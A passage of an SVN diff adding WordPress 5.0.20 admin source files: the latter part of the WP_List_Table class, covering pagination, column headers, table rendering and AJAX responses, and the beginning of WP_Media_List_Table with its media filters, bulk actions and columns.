+	 */
+	protected function view_switcher( $current_mode ) {
+?>
+		<input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" />
+		<div class="view-switch">
+<?php
+			foreach ( $this->modes as $mode => $title ) {
+				$classes = array( 'view-' . $mode );
+				if ( $current_mode === $mode )
+					$classes[] = 'current';
+				printf(
+					"<a href='%s' class='%s' id='view-switch-$mode'><span class='screen-reader-text'>%s</span></a>\n",
+					esc_url( add_query_arg( 'mode', $mode ) ),
+					implode( ' ', $classes ),
+					$title
+				);
+			}
+		?>
+		</div>
+<?php
+	}
+
+	/**
+	 * Display a comment count bubble
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int $post_id          The post ID.
+	 * @param int $pending_comments Number of pending comments.
+	 */
+	protected function comments_bubble( $post_id, $pending_comments ) {
+		$approved_comments = get_comments_number();
+
+		$approved_comments_number = number_format_i18n( $approved_comments );
+		$pending_comments_number = number_format_i18n( $pending_comments );
+
+		$approved_only_phrase = sprintf( _n( '%s comment', '%s comments', $approved_comments ), $approved_comments_number );
+		$approved_phrase = sprintf( _n( '%s approved comment', '%s approved comments', $approved_comments ), $approved_comments_number );
+		$pending_phrase = sprintf( _n( '%s pending comment', '%s pending comments', $pending_comments ), $pending_comments_number );
+
+		$post_object   = get_post( $post_id );
+		$edit_post_cap = $post_object ? 'edit_post' : 'edit_posts';
+		if (
+			current_user_can( $edit_post_cap, $post_id ) ||
+			(
+				empty( $post_object->post_password ) &&
+				current_user_can( 'read_post', $post_id )
+			)
+		) {
+			// The user has access to the post and thus can see comments
+		} else {
+			return false;
+		}
+
+		if ( ! $approved_comments && ! $pending_comments ) {
+			printf( '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">%s</span>',
+				__( 'No comments' )
+			);
+		// Approved comments have different display depending on some conditions.
+		} elseif ( $approved_comments ) {
+			printf( '<a href="%s" class="post-com-count post-com-count-approved"><span class="comment-count-approved" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
+				esc_url( add_query_arg( array( 'p' => $post_id, 'comment_status' => 'approved' ), admin_url( 'edit-comments.php' ) ) ),
+				$approved_comments_number,
+				$pending_comments ? $approved_phrase : $approved_only_phrase
+			);
+		} else {
+			printf( '<span class="post-com-count post-com-count-no-comments"><span class="comment-count comment-count-no-comments" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
+				$approved_comments_number,
+				$pending_comments ? __( 'No approved comments' ) : __( 'No comments' )
+			);
+		}
+
+		if ( $pending_comments ) {
+			printf( '<a href="%s" class="post-com-count post-com-count-pending"><span class="comment-count-pending" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
+				esc_url( add_query_arg( array( 'p' => $post_id, 'comment_status' => 'moderated' ), admin_url( 'edit-comments.php' ) ) ),
+				$pending_comments_number,
+				$pending_phrase
+			);
+		} else {
+			printf( '<span class="post-com-count post-com-count-pending post-com-count-no-pending"><span class="comment-count comment-count-no-pending" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
+				$pending_comments_number,
+				$approved_comments ? __( 'No pending comments' ) : __( 'No comments' )
+			);
+		}
+	}
+
+	/**
+	 * Get the current page number
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return int
+	 */
+	public function get_pagenum() {
+		$pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;
+
+		if ( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] )
+			$pagenum = $this->_pagination_args['total_pages'];
+
+		return max( 1, $pagenum );
+	}
+
+	/**
+	 * Get number of items to display on a single page
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $option
+	 * @param int    $default
+	 * @return int
+	 */
+	protected function get_items_per_page( $option, $default = 20 ) {
+		$per_page = (int) get_user_option( $option );
+		if ( empty( $per_page ) || $per_page < 1 )
+			$per_page = $default;
+
+		/**
+		 * Filters the number of items to be displayed on each page of the list table.
+		 *
+		 * The dynamic hook name, $option, refers to the `per_page` option depending
+		 * on the type of list table in use. Possible values include: 'edit_comments_per_page',
+		 * 'sites_network_per_page', 'site_themes_network_per_page', 'themes_network_per_page',
+		 * 'users_network_per_page', 'edit_post_per_page', 'edit_page_per_page',
+		 * 'edit_{$post_type}_per_page', etc.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $per_page Number of items to be displayed. Default 20.
+		 */
+		return (int) apply_filters( "{$option}", $per_page );
+	}
+
+	/**
+	 * Display the pagination.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		if ( empty( $this->_pagination_args ) ) {
+			return;
+		}
+
+		$total_items = $this->_pagination_args['total_items'];
+		$total_pages = $this->_pagination_args['total_pages'];
+		$infinite_scroll = false;
+		if ( isset( $this->_pagination_args['infinite_scroll'] ) ) {
+			$infinite_scroll = $this->_pagination_args['infinite_scroll'];
+		}
+
+		if ( 'top' === $which && $total_pages > 1 ) {
+			$this->screen->render_screen_reader_content( 'heading_pagination' );
+		}
+
+		$output = '<span class="displaying-num">' . sprintf( _n( '%s item', '%s items', $total_items ), number_format_i18n( $total_items ) ) . '</span>';
+
+		$current = $this->get_pagenum();
+		$removable_query_args = wp_removable_query_args();
+
+		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+
+		$current_url = remove_query_arg( $removable_query_args, $current_url );
+
+		$page_links = array();
+
+		$total_pages_before = '<span class="paging-input">';
+		$total_pages_after  = '</span></span>';
+
+		$disable_first = $disable_last = $disable_prev = $disable_next = false;
+
+ 		if ( $current == 1 ) {
+			$disable_first = true;
+			$disable_prev = true;
+ 		}
+		if ( $current == 2 ) {
+			$disable_first = true;
+		}
+ 		if ( $current == $total_pages ) {
+			$disable_last = true;
+			$disable_next = true;
+ 		}
+		if ( $current == $total_pages - 1 ) {
+			$disable_last = true;
+		}
+
+		if ( $disable_first ) {
+			$page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&laquo;</span>';
+		} else {
+			$page_links[] = sprintf( "<a class='first-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
+				esc_url( remove_query_arg( 'paged', $current_url ) ),
+				__( 'First page' ),
+				'&laquo;'
+			);
+		}
+
+		if ( $disable_prev ) {
+			$page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&lsaquo;</span>';
+		} else {
+			$page_links[] = sprintf( "<a class='prev-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
+				esc_url( add_query_arg( 'paged', max( 1, $current-1 ), $current_url ) ),
+				__( 'Previous page' ),
+				'&lsaquo;'
+			);
+		}
+
+		if ( 'bottom' === $which ) {
+			$html_current_page  = $current;
+			$total_pages_before = '<span class="screen-reader-text">' . __( 'Current Page' ) . '</span><span id="table-paging" class="paging-input"><span class="tablenav-paging-text">';
+		} else {
+			$html_current_page = sprintf( "%s<input class='current-page' id='current-page-selector' type='text' name='paged' value='%s' size='%d' aria-describedby='table-paging' /><span class='tablenav-paging-text'>",
+				'<label for="current-page-selector" class="screen-reader-text">' . __( 'Current Page' ) . '</label>',
+				$current,
+				strlen( $total_pages )
+			);
+		}
+		$html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) );
+		$page_links[] = $total_pages_before . sprintf( _x( '%1$s of %2$s', 'paging' ), $html_current_page, $html_total_pages ) . $total_pages_after;
+
+		if ( $disable_next ) {
+			$page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&rsaquo;</span>';
+		} else {
+			$page_links[] = sprintf( "<a class='next-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
+				esc_url( add_query_arg( 'paged', min( $total_pages, $current+1 ), $current_url ) ),
+				__( 'Next page' ),
+				'&rsaquo;'
+			);
+		}
+
+		if ( $disable_last ) {
+			$page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&raquo;</span>';
+		} else {
+			$page_links[] = sprintf( "<a class='last-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
+				esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
+				__( 'Last page' ),
+				'&raquo;'
+			);
+		}
+
+		$pagination_links_class = 'pagination-links';
+		if ( ! empty( $infinite_scroll ) ) {
+			$pagination_links_class .= ' hide-if-js';
+		}
+		$output .= "\n<span class='$pagination_links_class'>" . join( "\n", $page_links ) . '</span>';
+
+		if ( $total_pages ) {
+			$page_class = $total_pages < 2 ? ' one-page' : '';
+		} else {
+			$page_class = ' no-pages';
+		}
+		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";
+
+		echo $this->_pagination;
+	}
+
+	/**
+	 * Get a list of columns. The format is:
+	 * 'internal-name' => 'Title'
+	 *
+	 * @since 3.1.0
+	 * @abstract
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		die( 'function WP_List_Table::get_columns() must be over-ridden in a sub-class.' );
+	}
+
+	/**
+	 * Get a list of sortable columns. The format is:
+	 * 'internal-name' => 'orderby'
+	 * or
+	 * 'internal-name' => array( 'orderby', true )
+	 *
+	 * The second format will make the initial sorting order be descending
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array();
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, an empty string.
+	 */
+	protected function get_default_primary_column_name() {
+		$columns = $this->get_columns();
+		$column = '';
+
+		if ( empty( $columns ) ) {
+			return $column;
+		}
+
+		// We need a primary defined so responsive views show something,
+		// so let's fall back to the first non-checkbox column.
+		foreach ( $columns as $col => $column_name ) {
+			if ( 'cb' === $col ) {
+				continue;
+			}
+
+			$column = $col;
+			break;
+		}
+
+		return $column;
+	}
+
+	/**
+	 * Public wrapper for WP_List_Table::get_default_primary_column_name().
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string Name of the default primary column.
+	 */
+	public function get_primary_column() {
+		return $this->get_primary_column_name();
+	}
+
+	/**
+	 * Gets the name of the primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string The name of the primary column.
+	 */
+	protected function get_primary_column_name() {
+		$columns = get_column_headers( $this->screen );
+		$default = $this->get_default_primary_column_name();
+
+		// If the primary column doesn't exist fall back to the
+		// first non-checkbox column.
+		if ( ! isset( $columns[ $default ] ) ) {
+			$default = WP_List_Table::get_default_primary_column_name();
+		}
+
+		/**
+		 * Filters the name of the primary column for the current list table.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param string $default Column name default for the specific list table, e.g. 'name'.
+		 * @param string $context Screen ID for specific list table, e.g. 'plugins'.
+		 */
+		$column  = apply_filters( 'list_table_primary_column', $default, $this->screen->id );
+
+		if ( empty( $column ) || ! isset( $columns[ $column ] ) ) {
+			$column = $default;
+		}
+
+		return $column;
+	}
+
+	/**
+	 * Get a list of all, hidden and sortable columns, with filter applied
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array
+	 */
+	protected function get_column_info() {
+		// $_column_headers is already set / cached
+		if ( isset( $this->_column_headers ) && is_array( $this->_column_headers ) ) {
+			// Back-compat for list tables that have been manually setting $_column_headers for horse reasons.
+			// In 4.3, we added a fourth argument for primary column.
+			$column_headers = array( array(), array(), array(), $this->get_primary_column_name() );
+			foreach ( $this->_column_headers as $key => $value ) {
+				$column_headers[ $key ] = $value;
+			}
+
+			return $column_headers;
+		}
+
+		$columns = get_column_headers( $this->screen );
+		$hidden = get_hidden_columns( $this->screen );
+
+		$sortable_columns = $this->get_sortable_columns();
+		/**
+		 * Filters the list table sortable columns for a specific screen.
+		 *
+		 * The dynamic portion of the hook name, `$this->screen->id`, refers
+		 * to the ID of the current screen, usually a string.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array $sortable_columns An array of sortable columns.
+		 */
+		$_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );
+
+		$sortable = array();
+		foreach ( $_sortable as $id => $data ) {
+			if ( empty( $data ) )
+				continue;
+
+			$data = (array) $data;
+			if ( !isset( $data[1] ) )
+				$data[1] = false;
+
+			$sortable[$id] = $data;
+		}
+
+		$primary = $this->get_primary_column_name();
+		$this->_column_headers = array( $columns, $hidden, $sortable, $primary );
+
+		return $this->_column_headers;
+	}
+
+	/**
+	 * Return number of visible columns
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return int
+	 */
+	public function get_column_count() {
+		list ( $columns, $hidden ) = $this->get_column_info();
+		$hidden = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
+		return count( $columns ) - count( $hidden );
+	}
+
+	/**
+	 * Print column headers, accounting for hidden and sortable columns.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @staticvar int $cb_counter
+	 *
+	 * @param bool $with_id Whether to set the id attribute or not
+	 */
+	public function print_column_headers( $with_id = true ) {
+		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
+
+		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+		$current_url = remove_query_arg( 'paged', $current_url );
+
+		if ( isset( $_GET['orderby'] ) ) {
+			$current_orderby = $_GET['orderby'];
+		} else {
+			$current_orderby = '';
+		}
+
+		if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
+			$current_order = 'desc';
+		} else {
+			$current_order = 'asc';
+		}
+
+		if ( ! empty( $columns['cb'] ) ) {
+			static $cb_counter = 1;
+			$columns['cb'] = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __( 'Select All' ) . '</label>'
+				. '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />';
+			$cb_counter++;
+		}
+
+		foreach ( $columns as $column_key => $column_display_name ) {
+			$class = array( 'manage-column', "column-$column_key" );
+
+			if ( in_array( $column_key, $hidden ) ) {
+				$class[] = 'hidden';
+			}
+
+			if ( 'cb' === $column_key )
+				$class[] = 'check-column';
+			elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ) ) )
+				$class[] = 'num';
+
+			if ( $column_key === $primary ) {
+				$class[] = 'column-primary';
+			}
+
+			if ( isset( $sortable[$column_key] ) ) {
+				list( $orderby, $desc_first ) = $sortable[$column_key];
+
+				if ( $current_orderby === $orderby ) {
+					$order = 'asc' === $current_order ? 'desc' : 'asc';
+					$class[] = 'sorted';
+					$class[] = $current_order;
+				} else {
+					$order = $desc_first ? 'desc' : 'asc';
+					$class[] = 'sortable';
+					$class[] = $desc_first ? 'asc' : 'desc';
+				}
+
+				$column_display_name = '<a href="' . esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ) . '"><span>' . $column_display_name . '</span><span class="sorting-indicator"></span></a>';
+			}
+
+			$tag = ( 'cb' === $column_key ) ? 'td' : 'th';
+			$scope = ( 'th' === $tag ) ? 'scope="col"' : '';
+			$id = $with_id ? "id='$column_key'" : '';
+
+			if ( !empty( $class ) )
+				$class = "class='" . join( ' ', $class ) . "'";
+
+			echo "<$tag $scope $id $class>$column_display_name</$tag>";
+		}
+	}
+
+	/**
+	 * Display the table
+	 *
+	 * @since 3.1.0
+	 */
+	public function display() {
+		$singular = $this->_args['singular'];
+
+		$this->display_tablenav( 'top' );
+
+		$this->screen->render_screen_reader_content( 'heading_list' );
+?>
+<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
+	<thead>
+	<tr>
+		<?php $this->print_column_headers(); ?>
+	</tr>
+	</thead>
+
+	<tbody id="the-list"<?php
+		if ( $singular ) {
+			echo " data-wp-lists='list:$singular'";
+		} ?>>
+		<?php $this->display_rows_or_placeholder(); ?>
+	</tbody>
+
+	<tfoot>
+	<tr>
+		<?php $this->print_column_headers( false ); ?>
+	</tr>
+	</tfoot>
+
+</table>
+<?php
+		$this->display_tablenav( 'bottom' );
+	}
+
+	/**
+	 * Get a list of CSS classes for the WP_List_Table table tag.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array List of CSS classes for the table tag.
+	 */
+	protected function get_table_classes() {
+		return array( 'widefat', 'fixed', 'striped', $this->_args['plural'] );
+	}
+
+	/**
+	 * Generate the table navigation above or below the table
+	 *
+	 * @since 3.1.0
+	 * @param string $which
+	 */
+	protected function display_tablenav( $which ) {
+		if ( 'top' === $which ) {
+			wp_nonce_field( 'bulk-' . $this->_args['plural'] );
+		}
+		?>
+	<div class="tablenav <?php echo esc_attr( $which ); ?>">
+
+		<?php if ( $this->has_items() ): ?>
+		<div class="alignleft actions bulkactions">
+			<?php $this->bulk_actions( $which ); ?>
+		</div>
+		<?php endif;
+		$this->extra_tablenav( $which );
+		$this->pagination( $which );
+?>
+
+		<br class="clear" />
+	</div>
+<?php
+	}
+
+	/**
+	 * Extra controls to be displayed between bulk actions and pagination
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {}
+
+	/**
+	 * Generate the tbody element for the list table.
+	 *
+	 * @since 3.1.0
+	 */
+	public function display_rows_or_placeholder() {
+		if ( $this->has_items() ) {
+			$this->display_rows();
+		} else {
+			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
+			$this->no_items();
+			echo '</td></tr>';
+		}
+	}
+
+	/**
+	 * Generate the table rows
+	 *
+	 * @since 3.1.0
+	 */
+	public function display_rows() {
+		foreach ( $this->items as $item )
+			$this->single_row( $item );
+	}
+
+	/**
+	 * Generates content for a single row of the table
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param object $item The current item
+	 */
+	public function single_row( $item ) {
+		echo '<tr>';
+		$this->single_row_columns( $item );
+		echo '</tr>';
+	}
+
+	/**
+	 *
+	 * @param object $item
+	 * @param string $column_name
+	 */
+	protected function column_default( $item, $column_name ) {}
+
+	/**
+	 *
+	 * @param object $item
+	 */
+	protected function column_cb( $item ) {}
+
+	/**
+	 * Generates the columns for a single row of the table
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param object $item The current item
+	 */
+	protected function single_row_columns( $item ) {
+		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$classes = "$column_name column-$column_name";
+			if ( $primary === $column_name ) {
+				$classes .= ' has-row-actions column-primary';
+			}
+
+			if ( in_array( $column_name, $hidden ) ) {
+				$classes .= ' hidden';
+			}
+
+			// Comments column uses HTML in the display name with screen reader text.
+			// Instead of using esc_attr(), we strip tags to get closer to a user-friendly string.
+			$data = 'data-colname="' . wp_strip_all_tags( $column_display_name ) . '"';
+
+			$attributes = "class='$classes' $data";
+
+			if ( 'cb' === $column_name ) {
+				echo '<th scope="row" class="check-column">';
+				echo $this->column_cb( $item );
+				echo '</th>';
+			} elseif ( method_exists( $this, '_column_' . $column_name ) ) {
+				echo call_user_func(
+					array( $this, '_column_' . $column_name ),
+					$item,
+					$classes,
+					$data,
+					$primary
+				);
+			} elseif ( method_exists( $this, 'column_' . $column_name ) ) {
+				echo "<td $attributes>";
+				echo call_user_func( array( $this, 'column_' . $column_name ), $item );
+				echo $this->handle_row_actions( $item, $column_name, $primary );
+				echo "</td>";
+			} else {
+				echo "<td $attributes>";
+				echo $this->column_default( $item, $column_name );
+				echo $this->handle_row_actions( $item, $column_name, $primary );
+				echo "</td>";
+			}
+		}
+	}
+
+	/**
+	 * Generates and display row actions links for the list table.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $item        The item being acted upon.
+	 * @param string $column_name Current column name.
+	 * @param string $primary     Primary column name.
+	 * @return string The row actions HTML, or an empty string if the current column is the primary column.
+	 */
+	protected function handle_row_actions( $item, $column_name, $primary ) {
+		return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>' : '';
+ 	}
+
+	/**
+	 * Handle an incoming ajax request (called from admin-ajax.php)
+	 *
+	 * @since 3.1.0
+	 */
+	public function ajax_response() {
+		$this->prepare_items();
+
+		ob_start();
+		if ( ! empty( $_REQUEST['no_placeholder'] ) ) {
+			$this->display_rows();
+		} else {
+			$this->display_rows_or_placeholder();
+		}
+
+		$rows = ob_get_clean();
+
+		$response = array( 'rows' => $rows );
+
+		if ( isset( $this->_pagination_args['total_items'] ) ) {
+			$response['total_items_i18n'] = sprintf(
+				_n( '%s item', '%s items', $this->_pagination_args['total_items'] ),
+				number_format_i18n( $this->_pagination_args['total_items'] )
+			);
+		}
+		if ( isset( $this->_pagination_args['total_pages'] ) ) {
+			$response['total_pages'] = $this->_pagination_args['total_pages'];
+			$response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] );
+		}
+
+		die( wp_json_encode( $response ) );
+	}
+
+	/**
+	 * Send required variables to JavaScript land
+	 *
+	 */
+	public function _js_vars() {
+		$args = array(
+			'class'  => get_class( $this ),
+			'screen' => array(
+				'id'   => $this->screen->id,
+				'base' => $this->screen->base,
+			)
+		);
+
+		printf( "<script type='text/javascript'>list_args = %s;</script>\n", wp_json_encode( $args ) );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-media-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-media-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-media-list-table.php	(revision 56912)
@@ -0,0 +1,777 @@
+<?php
+/**
+ * List Table API: WP_Media_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying media items in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Media_List_Table extends WP_List_Table {
+	/**
+	 * Holds the number of pending comments for each post.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $comment_pending_count = array();
+
+	private $detached;
+
+	private $is_trash;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		$this->detached = ( isset( $_REQUEST['attachment-filter'] ) && 'detached' === $_REQUEST['attachment-filter'] );
+
+		$this->modes = array(
+			'list' => __( 'List View' ),
+			'grid' => __( 'Grid View' )
+		);
+
+		parent::__construct( array(
+			'plural' => 'media',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can('upload_files');
+	}
+
+	/**
+	 *
+	 * @global WP_Query $wp_query
+	 * @global array    $post_mime_types
+	 * @global array    $avail_post_mime_types
+	 * @global string   $mode
+	 */
+	public function prepare_items() {
+		global $wp_query, $post_mime_types, $avail_post_mime_types, $mode;
+
+		list( $post_mime_types, $avail_post_mime_types ) = wp_edit_attachments_query( $_REQUEST );
+
+ 		$this->is_trash = isset( $_REQUEST['attachment-filter'] ) && 'trash' === $_REQUEST['attachment-filter'];
+
+ 		$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];
+
+		$this->set_pagination_args( array(
+			'total_items' => $wp_query->found_posts,
+			'total_pages' => $wp_query->max_num_pages,
+			'per_page' => $wp_query->query_vars['posts_per_page'],
+		) );
+	}
+
+	/**
+	 * @global array $post_mime_types
+	 * @global array $avail_post_mime_types
+	 * @return array
+	 */
+	protected function get_views() {
+		global $post_mime_types, $avail_post_mime_types;
+
+		$type_links = array();
+
+		$filter = empty( $_GET['attachment-filter'] ) ? '' : $_GET['attachment-filter'];
+
+		$type_links['all'] = sprintf(
+			'<option value=""%s>%s</option>',
+			selected( $filter, true, false ),
+			__( 'All media items' )
+		);
+
+		foreach ( $post_mime_types as $mime_type => $label ) {
+			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
+				continue;
+			}
+
+			$selected = selected(
+				$filter && 0 === strpos( $filter, 'post_mime_type:' ) &&
+					wp_match_mime_types( $mime_type, str_replace( 'post_mime_type:', '', $filter ) ),
+				true,
+				false
+			);
+
+			$type_links[$mime_type] = sprintf(
+				'<option value="post_mime_type:%s"%s>%s</option>',
+				esc_attr( $mime_type ),
+				$selected,
+				$label[0]
+			);
+		}
+
+		$type_links['detached'] = '<option value="detached"' . ( $this->detached ? ' selected="selected"' : '' ) . '>' . __( 'Unattached' ) . '</option>';
+
+		$type_links['mine'] = sprintf(
+			'<option value="mine"%s>%s</option>',
+			selected( 'mine' === $filter, true, false ),
+			_x( 'Mine', 'media items' )
+		);
+
+		if ( $this->is_trash || ( defined( 'MEDIA_TRASH') && MEDIA_TRASH ) ) {
+			$type_links['trash'] = sprintf(
+				'<option value="trash"%s>%s</option>',
+				selected( 'trash' === $filter, true, false ),
+				_x( 'Trash', 'attachment filter' )
+			);
+		}
+
+		return $type_links;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+		if ( MEDIA_TRASH ) {
+			if ( $this->is_trash ) {
+				$actions['untrash'] = __( 'Restore' );
+				$actions['delete'] = __( 'Delete Permanently' );
+			} else {
+				$actions['trash'] = _x( 'Trash', 'verb' );
+			}
+		} else {
+			$actions['delete'] = __( 'Delete Permanently' );
+		}
+
+		if ( $this->detached )
+			$actions['attach'] = __( 'Attach' );
+
+		return $actions;
+	}
+
+	/**
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+		if ( 'bar' !== $which ) {
+			return;
+		}
+?>
+		<div class="actions">
+<?php
+		if ( ! is_singular() ) {
+			if ( ! $this->is_trash ) {
+				$this->months_dropdown( 'attachment' );
+			}
+
+			/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );
+
+			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+		}
+
+		if ( $this->is_trash && current_user_can( 'edit_others_posts' ) && $this->has_items() ) {
+			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
+		} ?>
+		</div>
+<?php
+	}
+
+	/**
+	 *
+	 * @return string
+	 */
+	public function current_action() {
+		if ( isset( $_REQUEST['found_post_id'] ) && isset( $_REQUEST['media'] ) )
+			return 'attach';
+
+		if ( isset( $_REQUEST['parent_post_id'] ) && isset( $_REQUEST['media'] ) )
+			return 'detach';
+
+		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
+			return 'delete_all';
+
+		return parent::current_action();
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function has_items() {
+		return have_posts();
+	}
+
+	/**
+	 */
+	public function no_items() {
+		_e( 'No media files found.' );
+	}
+
+	/**
+	 * Override parent views so we can use the filter bar display.
+	 *
+	 * @global string $mode List table view mode.
+	 */
+	public function views() {
+		global $mode;
+
+		$views = $this->get_views();
+
+		$this->screen->render_screen_reader_content( 'heading_views' );
+?>
+<div class="wp-filter">
+	<div class="filter-items">
+		<?php $this->view_switcher( $mode ); ?>
+
+		<label for="attachment-filter" class="screen-reader-text"><?php _e( 'Filter by type' ); ?></label>
+		<select class="attachment-filters" name="attachment-filter" id="attachment-filter">
+			<?php
+			if ( ! empty( $views ) ) {
+				foreach ( $views as $class => $view ) {
+					echo "\t$view\n";
+				}
+			}
+			?>
+		</select>
+
+<?php
+		$this->extra_tablenav( 'bar' );
+
+		/** This filter is documented in wp-admin/inclues/class-wp-list-table.php */
+		$views = apply_filters( "views_{$this->screen->id}", array() );
+
+		// Back compat for pre-4.0 view links.
+		if ( ! empty( $views ) ) {
+			echo '<ul class="filter-links">';
+			foreach ( $views as $class => $view ) {
+				echo "<li class='$class'>$view</li>";
+			}
+			echo '</ul>';
+		}
+?>
+	</div>
+
+	<div class="search-form">
+		<label for="media-search-input" class="screen-reader-text"><?php esc_html_e( 'Search Media' ); ?></label>
+		<input type="search" placeholder="<?php esc_attr_e( 'Search media items...' ) ?>" id="media-search-input" class="search" name="s" value="<?php _admin_search_query(); ?>"></div>
+	</div>
+	<?php
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		$posts_columns = array();
+		$posts_columns['cb'] = '<input type="checkbox" />';
+		/* translators: column name */
+		$posts_columns['title'] = _x( 'File', 'column name' );
+		$posts_columns['author'] = __( 'Author' );
+
+		$taxonomies = get_taxonomies_for_attachments( 'objects' );
+		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );
+
+		/**
+		 * Filters the taxonomy columns for attachments in the Media list table.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array  $taxonomies An array of registered taxonomies to show for attachments.
+		 * @param string $post_type  The post type. Default 'attachment'.
+		 */
+		$taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' );
+		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( 'category' === $taxonomy ) {
+				$column_key = 'categories';
+			} elseif ( 'post_tag' === $taxonomy ) {
+				$column_key = 'tags';
+			} else {
+				$column_key = 'taxonomy-' . $taxonomy;
+			}
+			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
+		}
+
+		/* translators: column name */
+		if ( !$this->detached ) {
+			$posts_columns['parent'] = _x( 'Uploaded to', 'column name' );
+			if ( post_type_supports( 'attachment', 'comments' ) )
+				$posts_columns['comments'] = '<span class="vers comment-grey-bubble" title="' . esc_attr__( 'Comments' ) . '"><span class="screen-reader-text">' . __( 'Comments' ) . '</span></span>';
+		}
+		/* translators: column name */
+		$posts_columns['date'] = _x( 'Date', 'column name' );
+		/**
